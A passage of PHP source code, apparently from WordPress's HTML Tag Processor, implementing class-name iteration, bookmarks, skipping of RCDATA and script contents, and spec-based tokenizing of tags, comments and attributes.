	 *     $p = new WP_HTML_Tag_Processor( "<div class='free &lt;egg&lt;\tlang-en'>" );
	 *     $p->next_tag();
	 *     foreach ( $p->class_list() as $class_name ) {
	 *         echo "{$class_name} ";
	 *     }
	 *     // Outputs: "free <egg> lang-en "
	 *
	 * @since 6.4.0
	 */
	public function class_list() {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return;
		}

		/** @var string $class contains the string value of the class attribute, with character references decoded. */
		$class = $this->get_attribute( 'class' );

		if ( ! is_string( $class ) ) {
			return;
		}

		$seen = array();

		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;

		$at = 0;
		while ( $at < strlen( $class ) ) {
			// Skip past any initial boundary characters.
			$at += strspn( $class, " \t\f\r\n", $at );
			if ( $at >= strlen( $class ) ) {
				return;
			}

			// Find the byte length until the next boundary.
			$length = strcspn( $class, " \t\f\r\n", $at );
			if ( 0 === $length ) {
				return;
			}

			$name = str_replace( "\x00", "\u{FFFD}", substr( $class, $at, $length ) );
			if ( $is_quirks ) {
				$name = strtolower( $name );
			}
			$at += $length;

			/*
			 * It's expected that the number of class names for a given tag is relatively small.
			 * Given this, it is probably faster overall to scan an array for a value rather
			 * than to use the class name as a key and check if it's a key of $seen.
			 */
			if ( in_array( $name, $seen, true ) ) {
				continue;
			}

			$seen[] = $name;
			yield $name;
		}
	}


	/**
	 * Returns if a matched tag contains the given ASCII case-insensitive class name.
	 *
	 * @since 6.4.0
	 *
	 * @param string $wanted_class Look for this CSS class name, ASCII case-insensitive.
	 * @return bool|null Whether the matched tag contains the given class name, or null if not matched.
	 */
	public function has_class( $wanted_class ): ?bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$case_insensitive = self::QUIRKS_MODE === $this->compat_mode;

		$wanted_length = strlen( $wanted_class );
		foreach ( $this->class_list() as $class_name ) {
			if (
				strlen( $class_name ) === $wanted_length &&
				0 === substr_compare( $class_name, $wanted_class, 0, strlen( $wanted_class ), $case_insensitive )
			) {
				return true;
			}
		}

		return false;
	}


	/**
	 * Sets a bookmark in the HTML document.
	 *
	 * Bookmarks represent specific places or tokens in the HTML
	 * document, such as a tag opener or closer. When applying
	 * edits to a document, such as setting an attribute, the
	 * text offsets of that token may shift; the bookmark is
	 * kept updated with those shifts and remains stable unless
	 * the entire span of text in which the token sits is removed.
	 *
	 * Release bookmarks when they are no longer needed.
	 *
	 * Example:
	 *
	 *     <main><h2>Surprising fact you may not know!</h2></main>
	 *           ^  ^
	 *            \-|-- this `H2` opener bookmark tracks the token
	 *
	 *     <main class="clickbait"><h2>Surprising fact you may no…
	 *                             ^  ^
	 *                              \-|-- it shifts with edits
	 *
	 * Bookmarks provide the ability to seek to a previously-scanned
	 * place in the HTML document. This avoids the need to re-scan
	 * the entire document.
	 *
	 * Example:
	 *
	 *     <ul><li>One</li><li>Two</li><li>Three</li></ul>
	 *                                 ^^^^
	 *                                 want to note this last item
	 *
	 *     $p = new WP_HTML_Tag_Processor( $html );
	 *     $in_list = false;
	 *     while ( $p->next_tag( array( 'tag_closers' => $in_list ? 'visit' : 'skip' ) ) ) {
	 *         if ( 'UL' === $p->get_tag() ) {
	 *             if ( $p->is_tag_closer() ) {
	 *                 $in_list = false;
	 *                 $p->set_bookmark( 'resume' );
	 *                 if ( $p->seek( 'last-li' ) ) {
	 *                     $p->add_class( 'last-li' );
	 *                 }
	 *                 $p->seek( 'resume' );
	 *                 $p->release_bookmark( 'last-li' );
	 *                 $p->release_bookmark( 'resume' );
	 *             } else {
	 *                 $in_list = true;
	 *             }
	 *         }
	 *
	 *         if ( 'LI' === $p->get_tag() ) {
	 *             $p->set_bookmark( 'last-li' );
	 *         }
	 *     }
	 *
	 * Bookmarks intentionally hide the internal string offsets
	 * to which they refer. They are maintained internally as
	 * updates are applied to the HTML document and therefore
	 * retain their "position" - the location to which they
	 * originally pointed. The inability to use bookmarks with
	 * functions like `substr` is therefore intentional to guard
	 * against accidentally breaking the HTML.
	 *
	 * Because bookmarks allocate memory and require processing
	 * for every applied update, they are limited and require
	 * a name. They should not be created with programmatically-made
	 * names, such as "li_{$index}" with some loop. As a general
	 * rule they should only be created with string-literal names
	 * like "start-of-section" or "last-paragraph".
	 *
	 * Bookmarks are a powerful tool to enable complicated behavior.
	 * Consider double-checking that you need this tool if you are
	 * reaching for it, as inappropriate use could lead to broken
	 * HTML structure or unwanted processing overhead.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Identifies this particular bookmark.
	 * @return bool Whether the bookmark was successfully created.
	 */
	public function set_bookmark( $name ): bool {
		// It only makes sense to set a bookmark if the parser has paused on a concrete token.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		if ( ! array_key_exists( $name, $this->bookmarks ) && count( $this->bookmarks ) >= static::MAX_BOOKMARKS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many bookmarks: cannot create any more.' ),
				'6.2.0'
			);
			return false;
		}

		$this->bookmarks[ $name ] = new WP_HTML_Span( $this->token_starts_at, $this->token_length );

		return true;
	}


	/**
	 * Removes a bookmark that is no longer needed.
	 *
	 * Releasing a bookmark frees up the small
	 * performance overhead it requires.
	 *
	 * @param string $name Name of the bookmark to remove.
	 * @return bool Whether the bookmark already existed before removal.
	 */
	public function release_bookmark( $name ): bool {
		if ( ! array_key_exists( $name, $this->bookmarks ) ) {
			return false;
		}

		unset( $this->bookmarks[ $name ] );

		return true;
	}

	/**
	 * Skips contents of generic rawtext elements.
	 *
	 * @since 6.3.2
	 *
	 * @see https://html.spec.whatwg.org/#generic-raw-text-element-parsing-algorithm
	 *
	 * @param string $tag_name The uppercase tag name which will close the RAWTEXT region.
	 * @return bool Whether an end to the RAWTEXT region was found before the end of the document.
	 */
	private function skip_rawtext( string $tag_name ): bool {
		/*
		 * These two functions distinguish themselves on whether character references are
		 * decoded, and since functionality to read the inner markup isn't supported, it's
		 * not necessary to implement these two functions separately.
		 */
		return $this->skip_rcdata( $tag_name );
	}

	/**
	 * Skips contents of RCDATA elements, namely title and textarea tags.
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#rcdata-state
	 *
	 * @param string $tag_name The uppercase tag name which will close the RCDATA region.
	 * @return bool Whether an end to the RCDATA region was found before the end of the document.
	 */
	private function skip_rcdata( string $tag_name ): bool {
		$html       = $this->html;
		$doc_length = strlen( $html );
		$tag_length = strlen( $tag_name );

		$at = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at                       = strpos( $this->html, '</', $at );
			$this->tag_name_starts_at = $at;

			// Fail if there is no possible tag closer.
			if ( false === $at || ( $at + $tag_length ) >= $doc_length ) {
				return false;
			}

			$at += 2;

			/*
			 * Find a case-insensitive match to the tag name.
			 *
			 * Because tag names are limited to US-ASCII there is no
			 * need to perform any kind of Unicode normalization when
			 * comparing; any character which could be impacted by such
			 * normalization could not be part of a tag name.
			 */
			for ( $i = 0; $i < $tag_length; $i++ ) {
				$tag_char  = $tag_name[ $i ];
				$html_char = $html[ $at + $i ];

				if ( $html_char !== $tag_char && strtoupper( $html_char ) !== $tag_char ) {
					$at += $i;
					continue 2;
				}
			}

			$at                        += $tag_length;
			$this->bytes_already_parsed = $at;

			if ( $at >= strlen( $html ) ) {
				return false;
			}

			/*
			 * Ensure that the tag name terminates to avoid matching on
			 * substrings of a longer tag name. For example, the sequence
			 * "</textarearug" should not match for "</textarea" even
			 * though "textarea" is found within the text.
			 */
			$c = $html[ $at ];
			if ( ' ' !== $c && "\t" !== $c && "\r" !== $c && "\n" !== $c && '/' !== $c && '>' !== $c ) {
				continue;
			}

			while ( $this->parse_next_attribute() ) {
				continue;
			}

			$at = $this->bytes_already_parsed;
			if ( $at >= strlen( $this->html ) ) {
				return false;
			}

			if ( '>' === $html[ $at ] ) {
				$this->bytes_already_parsed = $at + 1;
				return true;
			}

			if ( $at + 1 >= strlen( $this->html ) ) {
				return false;
			}

			if ( '/' === $html[ $at ] && '>' === $html[ $at + 1 ] ) {
				$this->bytes_already_parsed = $at + 2;
				return true;
			}
		}

		return false;
	}

	/**
	 * Skips contents of script tags.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the script tag was closed before the end of the document.
	 */
	private function skip_script_data(): bool {
		$state      = 'unescaped';
		$html       = $this->html;
		$doc_length = strlen( $html );
		$at         = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at += strcspn( $html, '-<', $at );

			/*
			 * Optimization: Terminating a complete script element requires at least eight
			 * additional bytes in the document. Some checks below may cause local escaped
			 * state transitions when processing shorter strings, but those transitions are
			 * irrelevant if the script tag is incomplete and the function must return false.
			 *
			 * This may need updating if those transitions become significant or exported from
			 * this function in some way, such as when building safe methods to embed JavaScript
			 * or data inside a SCRIPT element.
			 *
			 *     $at may be here.
			 *        ↓
			 *     ...</script>
			 *         ╰──┬───╯
			 *     $at + 8 additional bytes are required for a non-false return value.
			 *
			 * This single check eliminates the need to check lengths for the shorter spans:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- --></script>
			 *                   ├╯
			 *             $at + 2 additional characters does not require a length check.
			 *
			 * The transition from "escaped" to "unescaped" is not relevant if the document ends:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- -->[[END-OF-DOCUMENT]]
			 *                   ╰──┬───╯
			 *             $at + 8 additional bytes is not satisfied, return false.
			 */
			if ( $at + 8 >= $doc_length ) {
				return false;
			}

			/*
			 * For all script states a "-->"  transitions
			 * back into the normal unescaped script mode,
			 * even if that's the current state.
			 */
			if (
				'-' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'>' === $html[ $at + 2 ]
			) {
				$at   += 3;
				$state = 'unescaped';
				continue;
			}

			/*
			 * Everything of interest past here starts with "<".
			 * Check this character and advance position regardless.
			 */
			if ( '<' !== $html[ $at++ ] ) {
				continue;
			}

			/*
			 * "<!--" only transitions from _unescaped_ to _escaped_. This byte sequence is only
			 * significant in the _unescaped_ state and is ignored in any other state.
			 */
			if (
				'unescaped' === $state &&
				'!' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'-' === $html[ $at + 2 ]
			) {
				$at += 3;

				/*
				 * The parser is ready to enter the _escaped_ state, but may remain in the
				 * _unescaped_ state. This occurs when "<!--" is immediately followed by a
				 * sequence of 0 or more "-" followed by ">". This is similar to abruptly closed
				 * HTML comments like "<!-->" or "<!--->".
				 *
				 * Note that this check may advance the position significantly and requires a
				 * length check to prevent bad offsets on inputs like `<script><!---------`.
				 */
				$at += strspn( $html, '-', $at );
				if ( $at < $doc_length && '>' === $html[ $at ] ) {
					++$at;
					continue;
				}

				$state = 'escaped';
				continue;
			}

			if ( '/' === $html[ $at ] ) {
				$closer_potentially_starts_at = $at - 1;
				$is_closing                   = true;
				++$at;
			} else {
				$is_closing = false;
			}

			/*
			 * At this point the only remaining state-changes occur with the
			 * <script> and </script> tags; unless one of these appears next,
			 * proceed scanning to the next potential token in the text.
			 */
			if ( ! (
				( 's' === $html[ $at ] || 'S' === $html[ $at ] ) &&
				( 'c' === $html[ $at + 1 ] || 'C' === $html[ $at + 1 ] ) &&
				( 'r' === $html[ $at + 2 ] || 'R' === $html[ $at + 2 ] ) &&
				( 'i' === $html[ $at + 3 ] || 'I' === $html[ $at + 3 ] ) &&
				( 'p' === $html[ $at + 4 ] || 'P' === $html[ $at + 4 ] ) &&
				( 't' === $html[ $at + 5 ] || 'T' === $html[ $at + 5 ] )
			) ) {
				++$at;
				continue;
			}

			/*
			 * Ensure that the script tag terminates to avoid matching on
			 * substrings of a non-match. For example, the sequence
			 * "<script123" should not end a script region even though
			 * "<script" is found within the text.
			 */
			$at += 6;
			$c   = $html[ $at ];
			if (
				/**
				 * These characters trigger state transitions of interest:
				 *
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-escaped-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-start-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-end-state}
				 *
				 * The "\r" character is not present in the above references. However, "\r" must be
				 * treated the same as "\n". This is because the HTML Standard requires newline
				 * normalization during preprocessing which applies this replacement.
				 *
				 * - @see https://html.spec.whatwg.org/multipage/parsing.html#preprocessing-the-input-stream
				 * - @see https://infra.spec.whatwg.org/#normalize-newlines
				 */
				'>' !== $c &&
				' ' !== $c &&
				"\n" !== $c &&
				'/' !== $c &&
				"\t" !== $c &&
				"\f" !== $c &&
				"\r" !== $c
			) {
				continue;
			}

			if ( 'escaped' === $state && ! $is_closing ) {
				$state = 'double-escaped';
				continue;
			}

			if ( 'double-escaped' === $state && $is_closing ) {
				$state = 'escaped';
				continue;
			}

			if ( $is_closing ) {
				$this->bytes_already_parsed = $closer_potentially_starts_at;
				$this->tag_name_starts_at   = $closer_potentially_starts_at;
				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				while ( $this->parse_next_attribute() ) {
					continue;
				}

				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				if ( '>' === $html[ $this->bytes_already_parsed ] ) {
					++$this->bytes_already_parsed;
					return true;
				}
			}

			++$at;
		}

		return false;
	}

	/**
	 * Parses the next tag.
	 *
	 * This will find and start parsing the next tag, including
	 * the opening `<`, the potential closer `/`, and the tag
	 * name. It does not parse the attributes or scan to the
	 * closing `>`; these are left for other methods.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Support abruptly-closed comments, invalid-tag-closer-comments, and empty elements.
	 *
	 * @return bool Whether a tag was found before the end of the document.
	 */
	private function parse_next_tag(): bool {
		$this->after_tag();

		$html       = $this->html;
		$doc_length = strlen( $html );
		$was_at     = $this->bytes_already_parsed;
		$at         = $was_at;

		while ( $at < $doc_length ) {
			$at = strpos( $html, '<', $at );
			if ( false === $at ) {
				break;
			}

			if ( $at > $was_at ) {
				/*
				 * A "<" normally starts a new HTML tag or syntax token, but in cases where the
				 * following character can't produce a valid token, the "<" is instead treated
				 * as plaintext and the parser should skip over it. This avoids a problem when
				 * following earlier practices of typing emoji with text, e.g. "<3". This
				 * should be a heart, not a tag. It's supposed to be rendered, not hidden.
				 *
				 * At this point the parser checks if this is one of those cases and if it is
				 * will continue searching for the next "<" in search of a token boundary.
				 *
				 * @see https://html.spec.whatwg.org/#tag-open-state
				 */
				if ( 1 !== strspn( $html, '!/?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1, 1 ) ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_TEXT_NODE;
				$this->token_starts_at      = $was_at;
				$this->token_length         = $at - $was_at;
				$this->text_starts_at       = $was_at;
				$this->text_length          = $this->token_length;
				$this->bytes_already_parsed = $at;
				return true;
			}

			$this->token_starts_at = $at;

			if ( $at + 1 < $doc_length && '/' === $this->html[ $at + 1 ] ) {
				$this->is_closing_tag = true;
				++$at;
			} else {
				$this->is_closing_tag = false;
			}

			/*
			 * HTML tag names must start with [a-zA-Z] otherwise they are not tags.
			 * For example, "<3" is rendered as text, not a tag opener. If at least
			 * one letter follows the "<" then _it is_ a tag, but if the following
			 * character is anything else it _is not a tag_.
			 *
			 * It's not uncommon to find non-tags starting with `<` in an HTML
			 * document, so it's good for performance to make this pre-check before
			 * continuing to attempt to parse a tag name.
			 *
			 * Reference:
			 * * https://html.spec.whatwg.org/multipage/parsing.html#data-state
			 * * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			$tag_name_prefix_length = strspn( $html, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1 );
			if ( $tag_name_prefix_length > 0 ) {
				++$at;
				$this->parser_state         = self::STATE_MATCHED_TAG;
				$this->tag_name_starts_at   = $at;
				$this->tag_name_length      = $tag_name_prefix_length + strcspn( $html, " \t\f\r\n/>", $at + $tag_name_prefix_length );
				$this->bytes_already_parsed = $at + $this->tag_name_length;
				return true;
			}

			/*
			 * Abort if no tag is found before the end of
			 * the document. There is nothing left to parse.
			 */
			if ( $at + 1 >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			/*
			 * `<!` transitions to markup declaration open state
			 * https://html.spec.whatwg.org/multipage/parsing.html#markup-declaration-open-state
			 */
			if ( ! $this->is_closing_tag && '!' === $html[ $at + 1 ] ) {
				/*
				 * `<!--` transitions to a comment state – apply further comment rules.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if ( 0 === substr_compare( $html, '--', $at + 2, 2 ) ) {
					$closer_at = $at + 4;
					// If it's not possible to close the comment then there is nothing more to scan.
					if ( $doc_length <= $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					// Abruptly-closed empty comments are a sequence of dashes followed by `>`.
					$span_of_dashes = strspn( $html, '-', $closer_at );
					if ( '>' === $html[ $closer_at + $span_of_dashes ] ) {
						/*
						 * @todo When implementing `set_modifiable_text()` ensure that updates to this token
						 *       don't break the syntax for short comments, e.g. `<!--->`. Unlike other comment
						 *       and bogus comment syntax, these leave no clear insertion point for text and
						 *       they need to be modified specially in order to contain text. E.g. to store
						 *       `?` as the modifiable text, the `<!--->` needs to become `<!--?-->`, which
						 *       involves inserting an additional `-` into the token after the modifiable text.
						 */
						$this->parser_state = self::STATE_COMMENT;
						$this->comment_type = self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT;
						$this->token_length = $closer_at + $span_of_dashes + 1 - $this->token_starts_at;

						// Only provide modifiable text if the token is long enough to contain it.
						if ( $span_of_dashes >= 2 ) {
							$this->comment_type   = self::COMMENT_AS_HTML_COMMENT;
							$this->text_starts_at = $this->token_starts_at + 4;
							$this->text_length    = $span_of_dashes - 2;
						}

						$this->bytes_already_parsed = $closer_at + $span_of_dashes + 1;
						return true;
					}

					/*
					 * Comments may be closed by either a --> or an invalid --!>.
					 * The first occurrence closes the comment.
					 *
					 * See https://html.spec.whatwg.org/#parse-error-incorrectly-closed-comment
					 */
					--$closer_at; // Pre-increment inside condition below reduces risk of accidental infinite looping.
					while ( ++$closer_at < $doc_length ) {
						$closer_at = strpos( $html, '--', $closer_at );
						if ( false === $closer_at ) {
							$this->parser_state = self::STATE_INCOMPLETE_INPUT;

							return false;
						}

						if ( $closer_at + 2 < $doc_length && '>' === $html[ $closer_at + 2 ] ) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 3 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 3;
							return true;
						}

						if (
							$closer_at + 3 < $doc_length &&
							'!' === $html[ $closer_at + 2 ] &&
							'>' === $html[ $closer_at + 3 ]
						) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 4 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 4;
							return true;
						}
					}
				}

				/*
				 * `<!DOCTYPE` transitions to DOCTYPE state – skip to the nearest >
				 * These are ASCII-case-insensitive.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if (
					$doc_length > $at + 8 &&
					( 'D' === $html[ $at + 2 ] || 'd' === $html[ $at + 2 ] ) &&
					( 'O' === $html[ $at + 3 ] || 'o' === $html[ $at + 3 ] ) &&
					( 'C' === $html[ $at + 4 ] || 'c' === $html[ $at + 4 ] ) &&
					( 'T' === $html[ $at + 5 ] || 't' === $html[ $at + 5 ] ) &&
					( 'Y' === $html[ $at + 6 ] || 'y' === $html[ $at + 6 ] ) &&
					( 'P' === $html[ $at + 7 ] || 'p' === $html[ $at + 7 ] ) &&
					( 'E' === $html[ $at + 8 ] || 'e' === $html[ $at + 8 ] )
				) {
					$closer_at = strpos( $html, '>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_DOCTYPE;
					$this->token_length         = $closer_at + 1 - $this->token_starts_at;
					$this->text_starts_at       = $this->token_starts_at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->bytes_already_parsed = $closer_at + 1;
					return true;
				}

				if (
					'html' !== $this->parsing_namespace &&
					strlen( $html ) > $at + 8 &&
					'[' === $html[ $at + 2 ] &&
					'C' === $html[ $at + 3 ] &&
					'D' === $html[ $at + 4 ] &&
					'A' === $html[ $at + 5 ] &&
					'T' === $html[ $at + 6 ] &&
					'A' === $html[ $at + 7 ] &&
					'[' === $html[ $at + 8 ]
				) {
					$closer_at = strpos( $html, ']]>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_CDATA_NODE;
					$this->text_starts_at       = $at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->token_length         = $closer_at + 3 - $this->token_starts_at;
					$this->bytes_already_parsed = $closer_at + 3;
					return true;
				}

				/*
				 * Anything else here is an incorrectly-opened comment and transitions
				 * to the bogus comment state - skip to the nearest >. If no closer is
				 * found then the HTML was truncated inside the markup declaration.
				 */
				$closer_at = strpos( $html, '>', $at + 1 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify nodes that would be CDATA if HTML had CDATA sections.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `]]>` as would be required in an XML document. It
				 * is therefore not possible to parse a CDATA section containing
				 * a `>` in the HTML syntax.
				 *
				 * Inside foreign elements there is a discrepancy between browsers
				 * and the specification on this.
				 *
				 * @todo Track whether the Tag Processor is inside a foreign element
				 *       and require the proper closing `]]>` in those cases.
				 */
				if (
					$this->token_length >= 10 &&
					'[' === $html[ $this->token_starts_at + 2 ] &&
					'C' === $html[ $this->token_starts_at + 3 ] &&
					'D' === $html[ $this->token_starts_at + 4 ] &&
					'A' === $html[ $this->token_starts_at + 5 ] &&
					'T' === $html[ $this->token_starts_at + 6 ] &&
					'A' === $html[ $this->token_starts_at + 7 ] &&
					'[' === $html[ $this->token_starts_at + 8 ] &&
					']' === $html[ $closer_at - 1 ] &&
					']' === $html[ $closer_at - 2 ]
				) {
					$this->parser_state    = self::STATE_COMMENT;
					$this->comment_type    = self::COMMENT_AS_CDATA_LOOKALIKE;
					$this->text_starts_at += 7;
					$this->text_length    -= 9;
				}

				return true;
			}

			/*
			 * </> is a missing end tag name, which is ignored.
			 *
			 * This was also known as the "presumptuous empty tag"
			 * in early discussions as it was proposed to close
			 * the nearest previous opening tag.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-missing-end-tag-name
			 */
			if ( '>' === $html[ $at + 1 ] ) {
				// `<>` is interpreted as plaintext.
				if ( ! $this->is_closing_tag ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_PRESUMPTUOUS_TAG;
				$this->token_length         = $at + 2 - $this->token_starts_at;
				$this->bytes_already_parsed = $at + 2;
				return true;
			}

			/*
			 * `<?` transitions to a bogus comment state – skip to the nearest >
			 * See https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			if ( ! $this->is_closing_tag && '?' === $html[ $at + 1 ] ) {
				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify a Processing Instruction node were HTML to have them.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `?>` as would be required in an XML document. It
				 * is therefore not possible to parse a Processing Instruction node
				 * containing a `>` in the HTML syntax.
				 *
				 * XML allows for more target names, but this code only identifies
				 * those with ASCII-representable target names. This means that it
				 * may identify some Processing Instruction nodes as bogus comments,
				 * but it will not misinterpret the HTML structure. By limiting the
				 * identification to these target names the Tag Processor can avoid
				 * the need to start parsing UTF-8 sequences.
				 *
				 * > NameStartChar ::= ":" | [A-Z] | "_" | [a-z] | [#xC0-#xD6] | [#xD8-#xF6] | [#xF8-#x2FF] |
				 *                     [#x370-#x37D] | [#x37F-#x1FFF] | [#x200C-#x200D] | [#x2070-#x218F] |
				 *                     [#x2C00-#x2FEF] | [#x3001-#xD7FF] | [#xF900-#xFDCF] | [#xFDF0-#xFFFD] |
				 *                     [#x10000-#xEFFFF]
				 * > NameChar      ::= NameStartChar | "-" | "." | [0-9] | #xB7 | [#x0300-#x036F] | [#x203F-#x2040]
				 *
				 * @todo Processing instruction nodes in SGML may contain any kind of markup. XML defines a
				 *       special case with `<?xml ... ?>` syntax, but the `?` is part of the bogus comment.
				 *
				 * @see https://www.w3.org/TR/2006/REC-xml11-20060816/#NT-PITarget
				 */
				if ( $this->token_length >= 5 && '?' === $html[ $closer_at - 1 ] ) {
					$comment_text     = substr( $html, $this->token_starts_at + 2, $this->token_length - 4 );
					$pi_target_length = strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ:_' );

					if ( 0 < $pi_target_length ) {
						$pi_target_length += strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789:_-.', $pi_target_length );

						$this->comment_type       = self::COMMENT_AS_PI_NODE_LOOKALIKE;
						$this->tag_name_starts_at = $this->token_starts_at + 2;
						$this->tag_name_length    = $pi_target_length;
						$this->text_starts_at    += $pi_target_length;
						$this->text_length       -= $pi_target_length + 1;
					}
				}

				return true;
			}

			/*
			 * If a non-alpha starts the tag name in a tag closer it's a comment.
			 * Find the first `>`, which closes the comment.
			 *
			 * This parser classifies these particular comments as special "funky comments"
			 * which are made available for further processing.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-invalid-first-character-of-tag-name
			 */
			if ( $this->is_closing_tag ) {
				// No chance of finding a closer.
				if ( $at + 3 > $doc_length ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_FUNKY_COMMENT;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;
				return true;
			}

			++$at;
		}

		/*
		 * This does not imply an incomplete parse; it indicates that there
		 * can be nothing left in the document other than a #text node.
		 */
		$this->parser_state         = self::STATE_TEXT_NODE;
		$this->token_starts_at      = $was_at;
		$this->token_length         = $doc_length - $was_at;
		$this->text_starts_at       = $was_at;
		$this->text_length          = $this->token_length;
		$this->bytes_already_parsed = $doc_length;
		return true;
	}

	/**
	 * Parses the next attribute.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether an attribute was found before the end of the document.
	 */
	private function parse_next_attribute(): bool {
		$doc_length = strlen( $this->html );

		// Skip whitespace and slashes.
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n/", $this->bytes_already_parsed );
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		/*
		 * Treat the equal sign as a part of the attribute
		 * name if it is the first encountered byte.
		 *
		 * @see https://html.spec.whatwg.org/multipage/parsing.html#before-attribute-name-state
		 */
		$name_length = '=' === $this->html[ $this->bytes_already_parsed ]
			? 1 + strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed + 1 )
			: strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed );

		// No attribute, just tag closer.
		if ( 0 === $name_length || $this->bytes_already_parsed + $name_length >= $doc_length ) {
			return false;
		}

		$attribute_start             = $this->bytes_already_parsed;
		$attribute_name              = substr( $this->html, $attribute_start, $name_length );
		$this->bytes_already_parsed += $name_length;
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$this->skip_whitespace();
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$has_value = '=' === $this->html[ $this->bytes_already_parsed ];
		if ( $has_value ) {
			++$this->bytes_already_parsed;
			$this->skip_whitespace();
			if ( $this->bytes_already_parsed >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			switch ( $this->html[ $this->bytes_already_parsed ] ) {
				case "'":
				case '"':
